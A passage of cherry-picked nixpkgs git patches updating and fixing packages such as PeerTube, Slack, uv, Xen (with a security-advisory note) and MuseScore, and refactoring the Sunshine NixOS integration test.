+    if [ -L "node_modules/vite/node_modules/.bin/sass" ]; then
+      rm node_modules/vite/node_modules/.bin/sass
+      ln -s ../../../sass/sass.js node_modules/vite/node_modules/.bin/sass
+    fi
+
     cd ~/apps/peertube-cli
     yarn config --offline set yarn-offline-mirror $yarnOfflineCacheAppsCli
     yarn install --offline --frozen-lockfile --ignore-engines --ignore-scripts --no-progress
@@ -174,7 +194,7 @@ stdenv.mkDerivation rec {
     # be needed, either now or in the future. If they might be, then we probably want
     # to move the package to $out above instead of removing the broken symlink.
     rm $out/node_modules/@peertube/{peertube-server,peertube-transcription-devtools,peertube-types-generator,tests}
-    rm $out/client/node_modules/@peertube/{peertube-transcription-devtools,peertube-types-generator,tests}
+    rm $out/client/node_modules/@peertube/{peertube-transcription-devtools,peertube-types-generator,tests,player}
 
     mkdir -p $cli/bin
     mv ~/apps/peertube-cli/{dist,node_modules,package.json,yarn.lock} $cli

From c41140025feaebdc6966a5020087e6fe407ec9f9 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Tue, 3 Jun 2025 16:31:52 +0200
Subject: [PATCH 2227/4511] nixos/peertube: fix crash when import video

(cherry picked from commit 481a3f2549ecbd910ca0273e47c46b3bdc6dc171)
---
 nixos/modules/services/web-apps/peertube.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/modules/services/web-apps/peertube.nix b/nixos/modules/services/web-apps/peertube.nix
index c4b0186a77b4..7eb61da55bad 100644
--- a/nixos/modules/services/web-apps/peertube.nix
+++ b/nixos/modules/services/web-apps/peertube.nix
@@ -32,6 +32,7 @@ let
     "@obsolete"
     "@privileged"
     "@setuid"
+    "@spawn"
   ];
 
   cfgService = {

From 8caa4cc2e0be09a90f2052345b2a2d764ba92e16 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 5 Jun 2025 07:00:49 +0200
Subject: [PATCH 2228/4511] peertube: 7.1.1 -> 7.2.1

(cherry picked from commit 24040eb0f278b2c0004b6b7ed5bdd220e3716057)
---
 pkgs/by-name/pe/peertube/package.nix | 31 ++++++++--------------------
 1 file changed, 9 insertions(+), 22 deletions(-)

diff --git a/pkgs/by-name/pe/peertube/package.nix b/pkgs/by-name/pe/peertube/package.nix
index b02f3e746531..af3bbedf6832 100644
--- a/pkgs/by-name/pe/peertube/package.nix
+++ b/pkgs/by-name/pe/peertube/package.nix
@@ -48,23 +48,23 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "peertube";
-  version = "7.1.1";
+  version = "7.2.1";
 
   src = fetchFromGitHub {
     owner = "Chocobozzz";
     repo = "PeerTube";
     tag = "v${version}";
-    hash = "sha256-rRga8pR/gfEFyVOkh1xmreM/ZVjiMre316/beCkjJP4=";
+    hash = "sha256-I53LCCtB8iNGuABgvhRjUfxocasXCv4TV7jXtHVpMnU=";
   };
 
   yarnOfflineCacheServer = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-Z6ACAkgk0RbcqVIjwKlCEZbZH0CHQU9sixJW73VyYDE=";
+    hash = "sha256-PMU6ZMcT+9Z3Y6+085e3hRnvs4Xii5FIkkOPvsltfMY=";
   };
 
   yarnOfflineCacheClient = fetchYarnDeps {
     yarnLock = "${src}/client/yarn.lock";
-    hash = "sha256-fi1fSxL7EbsjQntnDj2S0WLVZWLcP6nLHXpsM0y5HRs=";
+    hash = "sha256-AWUnxC/cwtKCa70MKmHeOr6ussMYyQ5awQAnWYzCA1s=";
   };
 
   yarnOfflineCacheAppsCli = fetchYarnDeps {
@@ -74,7 +74,7 @@ stdenv.mkDerivation rec {
 
   yarnOfflineCacheAppsRunner = fetchYarnDeps {
     yarnLock = "${src}/apps/peertube-runner/yarn.lock";
-    hash = "sha256-R7oXJUT698l2D1WkQGTWfkmbC7bC1XJ04xT0O8bwuI8=";
+    hash = "sha256-t7H0VNLM48sTfctD9V2CFdi/0JRETu5cj/dBy6aNFW8=";
   };
 
   outputs = [
@@ -107,25 +107,12 @@ stdenv.mkDerivation rec {
     yarn config --offline set yarn-offline-mirror $yarnOfflineCacheClient
     yarn install --offline --frozen-lockfile --ignore-engines --ignore-scripts --no-progress
 
-    substituteInPlace package.json \
-      --replace-fail '"sass-embedded":' '"sass":'
-
+    # Switch sass-embedded to sass
     find node_modules/vite/dist -name "*.js" -type f -exec grep -l "sass-embedded" {} \; | while read file; do
       echo "Patching $file"
       sed -i 's/"sass-embedded"/"sass"/g; s/'"'"'sass-embedded'"'"'/'"'"'sass'"'"'/g' "$file"
     done
 
-    rm -rf node_modules/sass-embedded*
-
-    if [ -L "node_modules/.bin/sass" ]; then
-      rm node_modules/.bin/sass
-      ln -s ../sass/sass.js node_modules/.bin/sass
-    fi
-    if [ -L "node_modules/vite/node_modules/.bin/sass" ]; then
-      rm node_modules/vite/node_modules/.bin/sass
-      ln -s ../../../sass/sass.js node_modules/vite/node_modules/.bin/sass
-    fi
-
     cd ~/apps/peertube-cli
     yarn config --offline set yarn-offline-mirror $yarnOfflineCacheAppsCli
     yarn install --offline --frozen-lockfile --ignore-engines --ignore-scripts --no-progress
@@ -213,7 +200,7 @@ stdenv.mkDerivation rec {
 
   passthru.tests.peertube = nixosTests.peertube;
 
-  meta = with lib; {
+  meta = {
     description = "Free software to take back control of your videos";
     longDescription = ''
       PeerTube aspires to be a decentralized and free/libre alternative to video
@@ -229,7 +216,7 @@ stdenv.mkDerivation rec {
       though if the administrator of your instance had previously connected it
       with other instances.
     '';
-    license = licenses.agpl3Plus;
+    license = lib.licenses.agpl3Plus;
     homepage = "https://joinpeertube.org/";
     platforms = [
       "x86_64-linux"
@@ -237,7 +224,7 @@ stdenv.mkDerivation rec {
       # feasible, looking for maintainer to help out
       # "x86_64-darwin" "aarch64-darwin"
     ];
-    maintainers = with maintainers; [
+    maintainers = with lib.maintainers; [
       immae
       izorkin
       stevenroose

From 5363209baf2acf5840171a791dabc68a9331766c Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Thu, 10 Jul 2025 10:02:13 +0200
Subject: [PATCH 2229/4511] peertube: switch to finalAttrs pattern

(cherry picked from commit 4291def18088ac9bd6fe7520392ac0cb57749f8d)
---
 pkgs/by-name/pe/peertube/package.nix | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/pe/peertube/package.nix b/pkgs/by-name/pe/peertube/package.nix
index af3bbedf6832..1a18d6c31ce4 100644
--- a/pkgs/by-name/pe/peertube/package.nix
+++ b/pkgs/by-name/pe/peertube/package.nix
@@ -1,7 +1,6 @@
 {
   lib,
   stdenv,
-  callPackage,
   fetchurl,
   fetchFromGitHub,
   fetchYarnDeps,
@@ -46,34 +45,34 @@ let
     inherit (bcryptAttrs) hash;
   };
 in
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "peertube";
   version = "7.2.1";
 
   src = fetchFromGitHub {
     owner = "Chocobozzz";
     repo = "PeerTube";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-I53LCCtB8iNGuABgvhRjUfxocasXCv4TV7jXtHVpMnU=";
   };
 
   yarnOfflineCacheServer = fetchYarnDeps {
-    yarnLock = "${src}/yarn.lock";
+    yarnLock = "${finalAttrs.src}/yarn.lock";
     hash = "sha256-PMU6ZMcT+9Z3Y6+085e3hRnvs4Xii5FIkkOPvsltfMY=";
   };
 
   yarnOfflineCacheClient = fetchYarnDeps {
-    yarnLock = "${src}/client/yarn.lock";
+    yarnLock = "${finalAttrs.src}/client/yarn.lock";
     hash = "sha256-AWUnxC/cwtKCa70MKmHeOr6ussMYyQ5awQAnWYzCA1s=";
   };
 
   yarnOfflineCacheAppsCli = fetchYarnDeps {
-    yarnLock = "${src}/apps/peertube-cli/yarn.lock";
+    yarnLock = "${finalAttrs.src}/apps/peertube-cli/yarn.lock";
     hash = "sha256-lcWtZGE/6XGm8KXmzSowCHAb/vGwBoqkwk32Ru3mMYU=";
   };
 
   yarnOfflineCacheAppsRunner = fetchYarnDeps {
-    yarnLock = "${src}/apps/peertube-runner/yarn.lock";
+    yarnLock = "${finalAttrs.src}/apps/peertube-runner/yarn.lock";
     hash = "sha256-t7H0VNLM48sTfctD9V2CFdi/0JRETu5cj/dBy6aNFW8=";
   };
 
@@ -230,4 +229,4 @@ stdenv.mkDerivation rec {
       stevenroose
     ];
   };
-}
+})

From 1f972539610b1f532402dab090cca2b8e57e8868 Mon Sep 17 00:00:00 2001
From: ifurther <55025025+ifurther@users.noreply.github.com>
Date: Wed, 9 Jul 2025 02:47:54 +0800
Subject: [PATCH 2230/4511] deepin.qt6integration: add patch for missing getpid
 error

(cherry picked from commit bc7b72e3ddad9cfe864e489eb102e700624bd851)
---
 pkgs/desktops/deepin/library/qt6integration/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/desktops/deepin/library/qt6integration/default.nix b/pkgs/desktops/deepin/library/qt6integration/default.nix
index b4f89b3f1227..a4796ea96599 100644
--- a/pkgs/desktops/deepin/library/qt6integration/default.nix
+++ b/pkgs/desktops/deepin/library/qt6integration/default.nix
@@ -27,6 +27,11 @@ stdenv.mkDerivation rec {
       url = "https://gitlab.archlinux.org/archlinux/packaging/packages/deepin-qt6integration/-/raw/e85e6836919d8e8424e800d7d4c8681bb23c29f9/qt-6.9.patch";
       hash = "sha256-GJH25cOEcA5Zep6FABwlRXU7HfpgMXNJzsbmWQdzx+Y=";
     })
+    (fetchpatch {
+      name = "missing-include.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/deepin-qt6integration/-/raw/300e6ac2a166ce214d64c9b16acc57d31de0604a/missing-include.patch";
+      hash = "sha256-IFSfnIFcXAcmzfAOId2ew+YUHxHK6+JfJ/t96FR7rhk=";
+    })
   ];
 
   nativeBuildInputs = [

From e65ca21193e1b4417aad8875b0a1cf69b0419f84 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 9 Jul 2025 18:56:13 +0200
Subject: [PATCH 2231/4511] slack: 4.42.120 -> 4.44.65

Changelog: https://slack.com/release-notes
(cherry picked from commit 4983b6418a0fa18d7c4f08b28d16997074b511cb)
---
 pkgs/by-name/sl/slack/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 04318a5f2745..d24ce008ea05 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -46,14 +46,14 @@ let
 
   pname = "slack";
 
-  x86_64-darwin-version = "4.42.120";
-  x86_64-darwin-sha256 = "17sam5z3f1x75ay9vm34is64r18h26lr03qrdw5ajvcgdvdqyanp";
+  x86_64-darwin-version = "4.44.65";
+  x86_64-darwin-sha256 = "14y33ds3ncgxwlcb0gvi8pfxm7ppfipzalg63x5vnj05q9wn8lby";
 
-  x86_64-linux-version = "4.42.120";
-  x86_64-linux-sha256 = "1wmxd7z742z3xvq85293kwr99vvdvczv6q32l7mrm2vp9gjyr0pz";
+  x86_64-linux-version = "4.44.65";
+  x86_64-linux-sha256 = "ca6ce66685e5897db0b19a79275e9c244693ebaf64a6b2f12a79a2b442d5be47";
 
-  aarch64-darwin-version = "4.42.120";
-  aarch64-darwin-sha256 = "0cry2f2pwkyn6rhdh7q9lfxcibz6izlwfhif3pqjv8pishn21afp";
+  aarch64-darwin-version = "4.44.65";
+  aarch64-darwin-sha256 = "1gdvvz2dd06din31qparwhnghjcxmvrc2zll09b3lfhr11im7888";
 
   version =
     {

From 54847cee65888f8e95b530edec481b02a3d67f8a Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Wed, 9 Jul 2025 21:04:01 +0000
Subject: [PATCH 2232/4511] uv: 0.7.19 -> 0.7.20

(cherry picked from commit 4cee30d18c4313f97a5d42fc1688e142f4452c58)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 915908c7ce1d..487eaa8b1f9b 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.19";
+  version = "0.7.20";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-p5Wzir6rXdI3piz9K7xyoWhDYhN7sZW9eWEVonvCdlM=";
+    hash = "sha256-DHad9vDkqmsUE9mfYJef7+Y25ryLWTRyGSe9hC+O/2U=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-RftLwT/I+o86JEIXijB5SJc50ZJ960O/Tricngokan8=";
+  cargoHash = "sha256-WmJlYBaPHKm5yrypESNyJS4PoOx93MxHh6D7w2rw23A=";
 
   buildInputs = [
     rust-jemalloc-sys

From 4b3d84b7040001cf04da82b12762df5e27a9bfd0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 13:52:24 +0000
Subject: [PATCH 2233/4511] yanic: 1.7.2 -> 1.8.3

(cherry picked from commit 7bdd4afc0565a9ac98eb022c61e78d27036e2c00)
---
 pkgs/by-name/ya/yanic/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yanic/package.nix b/pkgs/by-name/ya/yanic/package.nix
index b3897650a14b..24cfcb6ffdd6 100644
--- a/pkgs/by-name/ya/yanic/package.nix
+++ b/pkgs/by-name/ya/yanic/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "yanic";
-  version = "1.7.2";
+  version = "1.8.3";
 
   src = fetchFromGitHub {
     owner = "FreifunkBremen";
     repo = "yanic";
     rev = "v${version}";
-    hash = "sha256-tKFveknZitkVFaLTZzT01SJZq1IPQfXQa7UJewjXjwU=";
+    hash = "sha256-6jGuqqUr9DJyPYAVBBHc5qtfJIbvjGndT2Y+RSLMzhY=";
   };
 
-  vendorHash = "sha256-UYrQwOyWlKxDH5hHKAZCxQbO+eA6JsPuG0SbkWMF/HQ=";
+  vendorHash = "sha256-TcmkPBHxpmTgXNW8gPkzMpjPGCQu/HrZqAu9jDpPEjo=";
 
   ldflags = [
     "-X github.com/FreifunkBremen/yanic/cmd.VERSION=${version}"

From 686b0ba39d7e0aad356ac322605643db4aeb7381 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Tue, 8 Jul 2025 11:34:42 -0300
Subject: [PATCH 2234/4511] xen: 4.19.2 -> 4.19.3-unstable-2025-07-09

https://xenbits.xen.org/xsa/advisory-471.html

Researchers from Microsoft and ETH Zurich have discovered several new
speculative sidechannel attacks which bypass current protections.  They
are detailed in a paper titled "Enter, Exit, Page Fault, Leak: Testing
Isolation Boundaries for Microarchitectural Leaks".

Two issues, which AMD have named Transitive Scheduler Attacks, utilise
timing information from instruction execution.  These are:

  * CVE-2024-36350: TSA-SQ (TSA in the Store Queues)
  * CVE-2024-36357: TSA-L1 (TSA in the L1 data cache)

For more information, see:
  https://www.amd.com/content/dam/amd/en/documents/resources/bulletin/technical-guidance-for-mitigating-transient-scheduler-attacks.pdf
  https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7029.html
  https://aka.ms/enter-exit-leak

This security patch required a rebase to the HEAD of `stable-4.19`,
which upgrades Xen to 4.19.3-pre. We should not expect a new release
for the 4.19 branch anytime soon.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 pkgs/by-name/xe/xen/package.nix | 42 ++++-----------------------------
 1 file changed, 4 insertions(+), 38 deletions(-)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index e50824bfc325..bca3296d68db 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -1,46 +1,12 @@
 {
   buildXenPackage,
   python3Packages,
-  fetchpatch,
 }:
 
 buildXenPackage.override { inherit python3Packages; } {
   pname = "xen";
-  version = "4.19.2";
-  patches = [
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-01.patch";
-      hash = "sha256-YUcp9QI49RM/7WCxYzpzppv+vKtyl/NvLy6rIX5hVMw=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-02.patch";
-      hash = "sha256-FTtEGAPFYxsun38hLhVMKJ1TFJOsTMK3WWPkO0R/OHg=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-03.patch";
-      hash = "sha256-UkYMSpUgFvr4GJPXLgQsCyppGkNbeiFMyCZORK5tfmA=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-04.patch";
-      hash = "sha256-lpiDPSHi+v2VfaWE9kp4+hveZKTzojD1F+RHsOtKE3A=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-05.patch";
-      hash = "sha256-EKo9a5STX0mTRopoThe3+6gCWat+3XbguLr9QgMheZs=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-06.patch";
-      hash = "sha256-HU+4apyTZNIFZ9cySOEtNh0JBJDG3LjDLwMvQYq0src=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-07.patch";
-      hash = "sha256-9S85nkQ9Nn0cMzyRe4KGrFUaLggVxXBeKhoFF4R0y78=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa470.patch";
-      hash = "sha256-zhMZ6pCZtt0ocgsMFVqthMaof46lMMTaYmlepMXVJqM=";
-    })
-  ];
-  rev = "f3362182e028119e5ca2ab37e5628b9fa6d21254";
-  hash = "sha256-c6LXYJ61umJb/r5/utwBWLAfy+tIvpK7QLjI3zKfr6Y=";
+  version = "4.19.3-unstable-2025-07-09";
+  upstreamVersion = "4.19.3-pre";
+  rev = "b026848daf3cca7a4e1d234c8a3b91ebed270e65";
+  hash = "sha256-ThlKeS8SgrcXJvwSIQIE+GvSd5WmTskw+S9JowwFVHg=";
 }

From cdd1daed40c6b11bbbf43fc1f81dcddcde324c4e Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Thu, 3 Jul 2025 20:24:36 +0300
Subject: [PATCH 2235/4511] musescore: 4.5.2 -> 4.5.2-unstable-2025-07-03

(cherry picked from commit 8b31d5da6d7f3792c69cdabeafdba7739744d1bb)
---
 pkgs/applications/audio/musescore/default.nix  | 16 +++-------------
 pkgs/applications/audio/musescore/qt-6.9.patch | 13 -------------
 2 files changed, 3 insertions(+), 26 deletions(-)
 delete mode 100644 pkgs/applications/audio/musescore/qt-6.9.patch

diff --git a/pkgs/applications/audio/musescore/default.nix b/pkgs/applications/audio/musescore/default.nix
index 315ed5932fb5..d5937376d1d7 100644
--- a/pkgs/applications/audio/musescore/default.nix
+++ b/pkgs/applications/audio/musescore/default.nix
@@ -36,25 +36,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "musescore";
-  version = "4.5.2";
+  version = "4.5.2-unstable-2025-07-03";
 
   src = fetchFromGitHub {
     owner = "musescore";
     repo = "MuseScore";
-    rev = "v${finalAttrs.version}";
-    sha256 = "sha256-9jafh9zyf+tuC+WU6nQIMBVm+Gqqcig8jS2R1h/YnIo=";
+    rev = "0ff2476af4e16286ee9f7cf2322715273a0117e0";
+    sha256 = "sha256-0ixQfAyAyRmuIrlPosCV/VucKJYYvxjL2o4pkVb5Sd8=";
   };
 
-  # Backport + additional patch to fix build on Qt 6.9
-  # FIXME: remove when no longer required
-  patches = [
-    (fetchpatch {
-      url = "https://github.com/musescore/MuseScore/commit/05056ed19520060c3912a09a3adfa0927057f956.patch";
-      hash = "sha256-50Hytuu2lQRbAI2JEwlKeMUmJxTUtfqgwru6U760hAY=";
-    })
-    ./qt-6.9.patch
-  ];
-
   cmakeFlags = [
     "-DMUSE_APP_BUILD_MODE=release"
     # Disable the build and usage of the `/bin/crashpad_handler` utility - it's
diff --git a/pkgs/applications/audio/musescore/qt-6.9.patch b/pkgs/applications/audio/musescore/qt-6.9.patch
deleted file mode 100644
index d4cc3cacb556..000000000000
--- a/pkgs/applications/audio/musescore/qt-6.9.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/src/palette/view/widgets/specialcharactersdialog.cpp b/src/palette/view/widgets/specialcharactersdialog.cpp
-index 2fe07bdb8f..dfcae1ded7 100644
---- a/src/palette/view/widgets/specialcharactersdialog.cpp
-+++ b/src/palette/view/widgets/specialcharactersdialog.cpp
-@@ -712,7 +712,7 @@ void SpecialCharactersDialog::populateUnicode()
-         std::shared_ptr<FSymbol> fs = std::make_shared<FSymbol>(gpaletteScore->dummy());
-         fs->setCode(code);
-         fs->setFont(m_font);
--        m_pUnicode->appendElement(fs, QString("0x%1").arg(code, 5, 16, QLatin1Char('0')));
-+        m_pUnicode->appendElement(fs, QString("0x%1").arg((uint32_t)code, 5, 16, QLatin1Char('0')));
-     }
- }
- 

From ed0bf75513a3daacd85a49d34e1e987b5fef77ed Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 24 May 2025 23:40:23 +0800
Subject: [PATCH 2236/4511] sunshine: handleTest -> runTest

Reference: https://github.com/NixOS/nixpkgs/issues/386873

(cherry picked from commit f34483be5ee2418a563545a56743b7b59c549935)
---
 nixos/tests/all-tests.nix |   2 +-
 nixos/tests/sunshine.nix  | 136 +++++++++++++++++++-------------------
 2 files changed, 68 insertions(+), 70 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 9e80e2cae6d1..8dbaf86f8d68 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1266,7 +1266,7 @@ in
   stunnel = handleTest ./stunnel.nix { };
   sudo = handleTest ./sudo.nix { };
   sudo-rs = runTest ./sudo-rs.nix;
-  sunshine = handleTest ./sunshine.nix { };
+  sunshine = runTest ./sunshine.nix;
   suricata = handleTest ./suricata.nix { };
   suwayomi-server = handleTest ./suwayomi-server.nix { };
   swap-file-btrfs = handleTest ./swap-file-btrfs.nix { };
diff --git a/nixos/tests/sunshine.nix b/nixos/tests/sunshine.nix
index d492a85f90d7..176b7aa9f307 100644
--- a/nixos/tests/sunshine.nix
+++ b/nixos/tests/sunshine.nix
@@ -1,81 +1,79 @@
-import ./make-test-python.nix (
-  { pkgs, lib, ... }:
-  {
-    name = "sunshine";
-    meta = {
-      # test is flaky on aarch64
-      broken = pkgs.stdenv.hostPlatform.isAarch64;
-      maintainers = [ lib.maintainers.devusb ];
-      timeout = 600;
+{ pkgs, lib, ... }:
+{
+  name = "sunshine";
+  meta = {
+    # test is flaky on aarch64
+    broken = pkgs.stdenv.hostPlatform.isAarch64;
+    maintainers = [ lib.maintainers.devusb ];
+    timeout = 600;
+  };
+
+  nodes.sunshine =
+    { config, pkgs, ... }:
+    {
+      imports = [
+        ./common/x11.nix
+      ];
+
+      services.sunshine = {
+        enable = true;
+        openFirewall = true;
+        settings = {
+          capture = "x11";
+          encoder = "software";
+          output_name = 0;
+        };
+      };
+
+      environment.systemPackages = with pkgs; [
+        gxmessage
+      ];
+
     };
 
-    nodes.sunshine =
-      { config, pkgs, ... }:
-      {
-        imports = [
-          ./common/x11.nix
-        ];
+  nodes.moonlight =
+    { config, pkgs, ... }:
+    {
+      imports = [
+        ./common/x11.nix
+      ];
 
-        services.sunshine = {
-          enable = true;
-          openFirewall = true;
-          settings = {
-            capture = "x11";
-            encoder = "software";
-            output_name = 0;
-          };
-        };
+      environment.systemPackages = with pkgs; [
+        moonlight-qt
+      ];
 
-        environment.systemPackages = with pkgs; [
-          gxmessage
-        ];
+    };
 
-      };
+  enableOCR = true;
 
-    nodes.moonlight =
-      { config, pkgs, ... }:
-      {
-        imports = [
-          ./common/x11.nix
-        ];
+  testScript = ''
+    # start the tests, wait for sunshine to be up
+    start_all()
+    sunshine.wait_for_open_port(48010,"localhost")
 
-        environment.systemPackages = with pkgs; [
-          moonlight-qt
-        ];
+    # set the admin username/password, restart sunshine
+    sunshine.execute("sunshine --creds sunshine sunshine")
+    sunshine.systemctl("restart sunshine","root")
+    sunshine.wait_for_open_port(48010,"localhost")
 
-      };
+    # initiate pairing from moonlight
+    moonlight.execute("moonlight pair sunshine --pin 1234 >&2 & disown")
+    moonlight.wait_for_console_text("Executing request.*pair")
 
-    enableOCR = true;
+    # respond to pairing request from sunshine
+    sunshine.succeed("curl --fail --insecure -u sunshine:sunshine -d '{\"pin\":\"1234\",\"name\":\"1234\"}' https://localhost:47990/api/pin")
 
-    testScript = ''
-      # start the tests, wait for sunshine to be up
-      start_all()
-      sunshine.wait_for_open_port(48010,"localhost")
+    # wait until pairing is complete
+    moonlight.wait_for_console_text("Executing request.*phrase=pairchallenge")
 
-      # set the admin username/password, restart sunshine
-      sunshine.execute("sunshine --creds sunshine sunshine")
-      sunshine.systemctl("restart sunshine","root")
-      sunshine.wait_for_open_port(48010,"localhost")
+    # hide icewm panel
+    sunshine.send_key("ctrl-alt-h")
+    # put words on the sunshine screen for moonlight to see
+    sunshine.execute("gxmessage ' ABC' -center -font 'consolas 100' -fg '#FFFFFF' -bg '#000000' -borderless -geometry '2000x2000' -buttons \"\" >&2 & disown")
 
-      # initiate pairing from moonlight
-      moonlight.execute("moonlight pair sunshine --pin 1234 >&2 & disown")
-      moonlight.wait_for_console_text("Executing request.*pair")
-
-      # respond to pairing request from sunshine
-      sunshine.succeed("curl --fail --insecure -u sunshine:sunshine -d '{\"pin\":\"1234\",\"name\":\"1234\"}' https://localhost:47990/api/pin")
-
-      # wait until pairing is complete
-      moonlight.wait_for_console_text("Executing request.*phrase=pairchallenge")
-
-      # hide icewm panel
-      sunshine.send_key("ctrl-alt-h")
-      # put words on the sunshine screen for moonlight to see
-      sunshine.execute("gxmessage ' ABC' -center -font 'consolas 100' -fg '#FFFFFF' -bg '#000000' -borderless -geometry '2000x2000' -buttons \"\" >&2 & disown")
-
-      # connect to sunshine from moonlight and look for the words
-      moonlight.execute("moonlight --video-decoder software stream sunshine 'Desktop' >&2 & disown")
-      moonlight.wait_for_console_text("Dropping window event during flush")
-      moonlight.wait_for_text("ABC")
-    '';
-  }
-)
+    # connect to sunshine from moonlight and look for the words
+    moonlight.execute("moonlight --video-decoder software stream sunshine 'Desktop' >&2 & disown")
+    moonlight.wait_for_console_text("Dropping window event during flush")
+    moonlight.wait_for_text("ABC")
+  '';
+}

From 00fdf3849cbd496d89a0b27cf675466a317fdea9 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 22 May 2025 00:13:57 +0200
Subject: [PATCH 2237/4511] sunshine: add udevCheckHook

- [x] `{ doInstallCheck = false; name = "sunshine-2025.122.141614"; }`

(cherry picked from commit 2c14bf92a1553220142dd167a2d2b3cd70eaa5a8)
---
 pkgs/by-name/su/sunshine/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/su/sunshine/package.nix b/pkgs/by-name/su/sunshine/package.nix
index 6a0de7ef3ef2..3af68dcfa3d4 100644
--- a/pkgs/by-name/su/sunshine/package.nix
+++ b/pkgs/by-name/su/sunshine/package.nix
@@ -48,6 +48,7 @@
   nlohmann_json,
   config,
   coreutils,
+  udevCheckHook,
   cudaSupport ? config.cudaSupport,
   cudaPackages ? { },
 }:
@@ -92,6 +93,7 @@ stdenv'.mkDerivation rec {
       wayland-scanner
       # Avoid fighting upstream's usage of vendored ffmpeg libraries
       autoPatchelfHook
+      udevCheckHook
     ]
     ++ lib.optionals cudaSupport [
       autoAddDriverRunpath
@@ -231,6 +233,8 @@ stdenv'.mkDerivation rec {
     install -Dm644 ../packaging/linux/${pname}.desktop $out/share/applications/${pname}.desktop
   '';
 
+  doInstallCheck = true;
+
   passthru = {
     tests.sunshine = nixosTests.sunshine;
     updateScript = ./updater.sh;

From 5a2700e8a80ff529908285307dd0cc552f3ca019 Mon Sep 17 00:00:00 2001
From: Morgan Helton <mhelton@gmail.com>
Date: Tue, 1 Jul 2025 20:41:42 -0500
Subject: [PATCH 2238/4511] sunshine: 2025.122.141614 -> 2025.628.4510

(cherry picked from commit a98748b83dd6ebe0ae47deb08ebe36222899df4d)
---
 nixos/tests/sunshine.nix                   |   4 +-
 pkgs/by-name/su/sunshine/package-lock.json | 834 +++++++++++++++------
 pkgs/by-name/su/sunshine/package.nix       |  10 +-
 3 files changed, 603 insertions(+), 245 deletions(-)

diff --git a/nixos/tests/sunshine.nix b/nixos/tests/sunshine.nix
index 176b7aa9f307..e310b94df1a7 100644
--- a/nixos/tests/sunshine.nix
+++ b/nixos/tests/sunshine.nix
@@ -15,6 +15,8 @@
         ./common/x11.nix
       ];
 
+      virtualisation.memorySize = 4096;
+
       services.sunshine = {
         enable = true;
         openFirewall = true;
@@ -61,7 +63,7 @@
     moonlight.wait_for_console_text("Executing request.*pair")
 
     # respond to pairing request from sunshine
-    sunshine.succeed("curl --fail --insecure -u sunshine:sunshine -d '{\"pin\":\"1234\",\"name\":\"1234\"}' https://localhost:47990/api/pin")
